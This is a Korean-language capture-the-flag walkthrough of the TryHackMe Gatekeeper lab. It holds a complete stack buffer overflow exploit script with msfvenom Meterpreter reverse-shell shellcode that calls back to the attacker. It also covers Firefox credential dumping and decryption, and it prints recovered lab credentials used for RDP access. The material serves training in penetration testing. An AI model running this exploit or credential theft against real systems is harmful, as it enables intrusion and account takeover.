Gatekeeper 실습 가이드 - 스택 버퍼 오버플로우 취약점 분석

TryHackMe 실습 환경 설정

실습 관련 링크: https://tryhackme.com/room/gatekeeper

본 과정에서는 스택 버퍼 오버플로우 취약점을 이용해 대상 시스템에 초기 접근 권한을 획득한 후, 권한 상승을 통해 root 권한까지 획득하는 방법을 학습한다.

초기 접근 권한 획득

포트 스캐닝

가상 타겟 시스템을 배포한 후, nmap을 이용해 포트 스캔을 수행한다.

nmap -sC -p- -T4 $ip

주요 스캔 결과:

135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
| rdp-ntlm-info:
|   Target_Name: GATEKEEPER
|   NetBIOS_Domain_Name: GATEKEEPER
|   NetBIOS_Computer_Name: GATEKEEPER
|   DNS_Domain_Name: gatekeeper
|   DNS_Computer_Name: gatekeeper
|   Product_Version: 6.1.7601
|_  System_Time: 2023-03-04T13:32:20+00:00
31337/tcp open  Elite
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49161/tcp open  unknown
49165/tcp open  unknown

여러 개의 열린 포트 중에서 31337번 포트가 특이점으로 확인되며, 이 포트를 통해 공격을 진행할 것으로 예상된다.

SMB 열거 및 타겟 파일 획득

SMBClient를 이용해 공유 리스트를 확인하고, 공유 폴더에 접근하여 주요 파일을 다운로드한다.

smbclient -L $ip
smbclient //$ip/Users
dir
cd Share
dir
get gatekeeper.exe

gatekeeper.exe 파일을 확보한 후 로컬 환경으로 가져온다.

로컬 Windows 가상 머신에서 타겟 파일 분석

로컬 Windows 가상 머신에서 gatekeeper.exe를 역분석하여 버퍼 오버플로우 취약점을 찾아낸다. 분석이 완료된 후, 최종적으로 실습 환경의 타겟 시스템을 대상으로 익스플로잇을 진행한다.

파일 전송을 위해 로컬 Kali 머신에서 간단한 HTTP 서버를 실행한다.

python -m http.server 8888

로컬 Windows 가상 머신에서 Kali 머신의 eth0 IP에 접속하여 gatekeeper.exe를 다운로드한 후, 해당 프로그램의 실행 화면을 확인한다.

Kali 머신에서 netcat을 이용해 타겟의 31337번 포트와 로컬 Windows의 31337번 포트에 접속하여 서비스와 상호작용한다. 이 서비스는 사용자 입력을 받아 "hello [input]!!!" 문자열을 출력하는 형태로 동작한다.

기초 퍼징(Fuzzing) 테스트

로컬 Windows 가상 머신에서 Immunity Debugger를 실행하고 gatekeeper.exe를 연다. 이후 로컬 Kali 머신에서 수동 퍼징을 수행하여 애플리케이션이 크래시되는 대략적인 바이트 수를 확인한다.

python -c "print('A'*200)"

오프셋(Offset) 확인 및 EIP 제어

버퍼의 어느 부분이 EIP 레지스터에 기록되는지 확인하기 위해 msf의 pattern_create.rb 스크립트로 200바이트 무작위 문자열을 생성한다.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
# Immunity Debugger 명령창에서도 사용 가능: !mona pattern_create 200

생성된 문자열을 전송하여 애플리케이션을 크래시시킨 후, EIP 레지스터 값을 기록한다.

EIP 값이 39654138로 확인되면, pattern_offset.rb를 이용해 정확한 오프셋을 계산한다.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 200 -q 39654138

계산 결과, EIP 오프셋은 146이다.

이제 익스플로잇 스크립트를 작성한다. (참고: Buffer_Overflow)

스크립트에 로컬 Windows 가상 머신의 IP를 지정하고, 146 바이트의 'A' 문자로 버퍼를 채운다.

#!/usr/bin/python
import socket
import sys

ip = '192.168.101.27'
port = 31337

offset = 146
buffer = b"A" * offset
retn = b""
padding = b""
payload = b""

buffer += retn
buffer += padding
buffer += payload

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    print("Sending buffer")
    s.send(buffer + b"\r\n")
    print("Done!")
    s.close()
except:
    print("Unable to connect to the application.")
    sys.exit()

스크립트를 실행하면 애플리케이션이 크래시된다. (Immunity Debugger에서 gatekeeper.exe를 다시 실행한 후에 스크립트를 실행해야 함)

python3 exp.py

EIP를 4바이트 'B' 문자로 덮어쓰기 위해 retn 값을 수정한다.

offset = 146
buffer = b"A" * offset
retn = b"B" * 4

다시 실행한 후 EIP 레지스터 값이 42424242로 변경되었는지 확인한다.

배드 캐릭터(Bad Character) 찾기

mona.py의 작업 디렉토리를 설정한다.

!mona config -set workingfolder c:\mona\%p

배드 캐릭터 배열을 생성한다.

!mona bytearray -b "\x00"
# Binary output saved in c:\mona\gatekeeper\bytearray.bin

Python 코드로 동일한 문자열을 생성한다.

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()

생성된 문자열을 payload 변수에 할당하고 스크립트를 실행한 후, ESP 주소를 기록한다.

offset = 146
buffer = b"A" * offset
retn = b"B" * 4
padding = b""
payload = b"\x01\x02\x03\x04...\xff"

buffer += retn
buffer += padding
buffer += payload

mona compare 명령으로 배드 캐릭터를 확인한다.

!mona compare -f C:\mona\gatekeeper\bytearray.bin -a [esp address]

분석 결과를 바탕으로 배드 캐릭터를 제거한 후, 최종적으로 배드 캐릭터는 "\x00\x0a"임을 확인한다.

점프 포인트(JMP ESP) 찾기

유효한 JMP ESP 명령어 주소를 찾기 위해 mona 명령을 실행한다.

!mona jmp -r esp -cpb "\x00\x0a"
# JMP ESP 0x080414c3 
# JMP ESP 0x080416bf

0x080416bf 주소를 선택하고, 리틀 엔디언 형식으로 변환하여 retn에 사용한다.

최종 페이로드 생성 및 익스플로잇

msfvenom으로 Meterpreter 셸 페이로드를 생성한다. (LHOST는 Kali 머신의 TryHackMe VPN IP)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.16.58 LPORT=4444 -b "\x00\x0a" -f py -v payload

생성된 페이로드를 스크립트에 추가하고, NOP 슬라이드(padding)를 16바이트로 설정한다.

padding = b"\x90" * 16

최종 exp.py 스크립트는 다음과 같다.

#!/usr/bin/python
import socket
import sys

ip = '10.10.158.114'
port = 31337

offset = 146
buffer = b"A" * offset
retn = b"\xbf\x16\x04\x08"
padding = b"\x90" * 16
payload =  b""
payload += b"\xb8\x91\x23\x28\x6d\xd9\xc1\xd9\x74\x24\xf4"
payload += b"\x5b\x33\xc9\xb1\x59\x83\xeb\xfc\x31\x43\x10"
payload += b"\x03\x43\x10\x73\xd6\xd4\x85\xfc\x19\x25\x56"
payload += b"\x62\x93\xc0\x67\xb0\xc7\x81\xda\x04\x83\xc4"
# ... (중략) ...
payload += b"\x72\x94\xb3\xa0\x20\xe6\x91"

buffer += retn
buffer += padding
buffer += payload

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    print("Sending buffer")
    s.send(buffer + b"\r\n")
    print("Done!")
    s.close()
except:
    print("Unable to connect to the application.")
    sys.exit()

Kali 머신에서 msfconsole을 실행해 리스너를 설정한다.

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.13.16.58
set LPORT 4444
exploit

익스플로잇 스크립트를 실행한 후, 세션이 성공적으로 연결되면 user.txt 파일을 찾아 내용을 확인한다.

권한 상승 (Privilege Escalation)

브라우저 캐시 파일 덤프

Desktop 폴더에서 firefox.lnk 파일을 확인한 후, Firefox 브라우저의 캐시 파일에서 로그인 자격 증명을 추출한다. 일반적으로 Firefox 프로필은 다음 경로에 저장된다.

C:\Users\{user}\AppData\Roaming\Mozilla\Firefox\Profiles\

본 실험의 사용자는 natbat이므로, 다음 경로에서 파일을 찾는다.

C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\

Meterpreter 셸에서 post/multi/gather/firefox_creds 모듈을 사용해 캐시 파일을 덤프한다.

session
use post/multi/gather/firefox_creds
options
set SESSION 2
run

덤프된 파일은 /root/.msf4/loot/ 경로에 저장되며, 파일 이름은 cert9.db, cookies.sqlite, key4.db, logins.json이다.

덤프 파일 복호화

덤프된 파일의 이름을 원래 이름으로 변경한 후, Firefox 저장 파일 복호화 스크립트를 사용해 평문 자격 증명을 얻는다.

cd /root/.msf4/loot/
ls
mv 20230304230824_default_10.10.158.114_ff.ljfn812a.cert_110129.bin cert9.db
mv 20230304230844_default_10.10.158.114_ff.ljfn812a.cook_333552.bin cookies.sqlite
mv 20230304231040_default_10.10.158.114_ff.ljfn812a.key4_617941.bin key4.db
mv 20230304231118_default_10.10.158.114_ff.ljfn812a.logi_517575.bin logins.json

GitHub에서 firefox_decrypt 스크립트를 클론한 후, 파일을 복호화한다.

git clone https://github.com/unode/firefox_decrypt.git
mv /root/.msf4/loot/logins.json /home/hekeats
mv /root/.msf4/loot/key4.db /home/hekeats
python3 firefox_decrypt/firefox_decrypt.py /home/hekeats/

복호화 결과, 사용자 이름('mayor')과 비밀번호('8CL7O1N78MdrCIsV')를 획득한다.

RDP 로그인 및 root 권한 획득

획득한 자격 증명을 이용해 RDP로 타겟 시스템에 접속한다.

xfreerdp /u:mayor /p:8CL7O1N78MdrCIsV /cert:ignore /v:10.10.158.114

RDP 접속 후, root.txt 파일을 열어 내용을 확인한다.

태그: buffer overflow Metasploit Mona Immunity Debugger Stacks Overflow

6월 24일 19:16에 게시됨